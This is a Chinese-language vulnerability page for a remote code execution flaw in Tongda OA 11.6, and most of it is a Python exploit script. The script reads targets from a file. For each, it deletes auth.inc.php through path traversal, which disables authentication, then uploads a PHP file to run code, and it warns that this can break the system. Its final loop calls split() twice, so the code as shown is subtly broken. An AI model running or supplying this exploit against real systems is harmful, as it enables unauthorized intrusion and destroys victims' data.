
通达oa 11.6 远程命令执行漏洞¶

一、漏洞简介¶

此漏洞会导致网站程序严重损坏，并影响网站业务正常运行，请谨慎使用！
二、漏洞影响¶

通达oa \<= 11.6
三、复现过程¶

poc¶

#! /usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
#by Tommy，在原作者上修改而来，2020-8-19，通达OA 0 day漏洞利用
import sys
version = sys.version_info
if version &lt; (3, 0):
    print('The current version is not supported, you need to use python3')
    sys.exit()

def exploit(target):
    try:
        target=target
        payload='&lt;?php echo md5("exp-test"); ?&gt;'#无害检测
        print(target,"[*]删除auth.inc.php...")

        url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"#删除auth.inc.php请求
        requests.get(url=url,verify=False,timeout=10)
        print(target,"[*]正在检查文件是否已删除...")
        url=target+"/inc/auth.inc.php"
        page=requests.get(url=url,verify=False,timeout=10).text
        #print(page)
        if 'No input file specified.' not in page:
            print(target,"[-]无法删除auth.inc.php文件")
            return 0
        print(target,"[+]删除auth.inc.php成功")
        print(target,"[*]开始上传payload...")
        url=target+"/general/data_center/utils/upload.php?action=upload&amp;filetype=nmsl&amp;repkid=/.&lt;&gt;./.&lt;&gt;./.&lt;&gt;./"
        files = {'FILE1': ('deconf.php', payload)}
        requests.post(url=url,files=files,verify=False,timeout=10)
        url=target+"/_deconf.php"
        page=requests.get(url=url,verify=False,timeout=10).text
        if 'No input file specified.' not in page:
            print("[+]************************文件已存在，上传成功************************")
            if '8a8127bc83b94ad01414a7a3ea4b8' in page:#如果执行过md5函数，才确认漏洞存在，减少误报
                print(target,"************************代码执行成功，存在漏洞************************")
                print(target,"[+]URL:",url)
        else:
            print(target,"[-]文件上传失败")
    except Exception as e:
        print(target,e)
urls='url.txt'
print("[*]警告：利用此漏洞，会删除auth.inc.php，这可能会损坏OA系统")
input("按Enter继续")
for url in open(urls,'r',encoding='utf-8').read().split('\n'):
    url=url.split()
    url=url.split()
    exploit(url[0])